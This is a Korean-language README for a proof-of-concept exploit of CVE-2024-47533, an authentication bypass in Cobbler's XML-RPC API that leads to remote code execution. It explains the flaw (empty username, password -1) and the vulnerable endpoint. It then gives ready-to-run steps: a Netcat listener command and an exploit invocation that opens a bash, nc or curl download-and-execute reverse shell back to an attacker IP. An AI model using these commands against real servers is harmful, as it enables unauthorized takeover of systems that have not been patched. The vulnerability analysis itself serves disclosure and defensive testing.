CVE-2024-47533 - Cobbler XMLRPC 인증 우회 RCE 익스플로잇

Cobbler 인증 우회를 통한 중요 원격 코드 실행

PoC 구현.

요약

Cobbler는 네트워크 설치 환경을 신속하게 설정할 수 있는 Linux 설치 서버로, 버전 3.0.0부터 3.2.3 미만 및 3.3.7 미만에서 인증 취약점이 있습니다. utils.get_shared_secret() 함수는 항상 -1을 반환하여, 누구나 빈 사용자 이름('')과 비밀번호 -1로 Cobbler XML-RPC 인터페이스에 연결할 수 있습니다. 이로 인해 네트워크 접근 권한이 있는 공격자가 Cobbler 서버를 완전히 제어할 수 있습니다. 이 취약점은 버전 3.2.3 및 3.3.7에서 수정되었습니다.

🛠 기술적 분석

이 취약점은 utils.get_shared_secret() 함수에서 공유 비밀을 부적절하게 처리하여 항상 -1을 반환하고, 사실상 인증을 우회하는 데서 발생합니다. 이로 인해 모든 네트워크 사용자가 빈 자격 증명으로 Cobbler의 XMLRPC 인터페이스에 연결하고 임의 명령을 실행할 수 있습니다.

🔥 취약한 엔드포인트

http://<target>:25151/ — Cobbler의 XMLRPC API 엔드포인트

💥 예시 페이로드

익스플로잇 스크립트는 다음을 포함한 다양한 리버스 셸 페이로드를 지원합니다:

• Bash 리버스 셸
• Netcat 셸 (nc)
• Curl 다운로드 및 실행

개념 증명 (PoC)

리스너 준비

사용자 머신에서 Netcat 리스너를 시작하세요:

nc -lvnp 4444

🚀 익스플로잇 실행

익스플로잇 스크립트 CVE-2024-47533.py를 실행합니다.

python3 CVE-2024-47533.py -t http://127.0.0.1:25151 -l 10.10.15.16 -p 4444 --payload bash

매개변수

-t : 대상 (예: -t http://1<IP_SERVICE>:<PORT>)

-l: 로컬 IP (예: -l 10.10.11.80)

-p : 포트 <LOCAL_PORT> (예: -p 4444)

--payload: 페이로드(bash, curl, nc) (예: --payload bash)

💻 성공적인 원격 셸 접근

성공적으로 실행되면 리버스 셸이 리스너로 다시 연결되어 공격자에게 서버에 대한 원격 접근 권한을 부여합니다.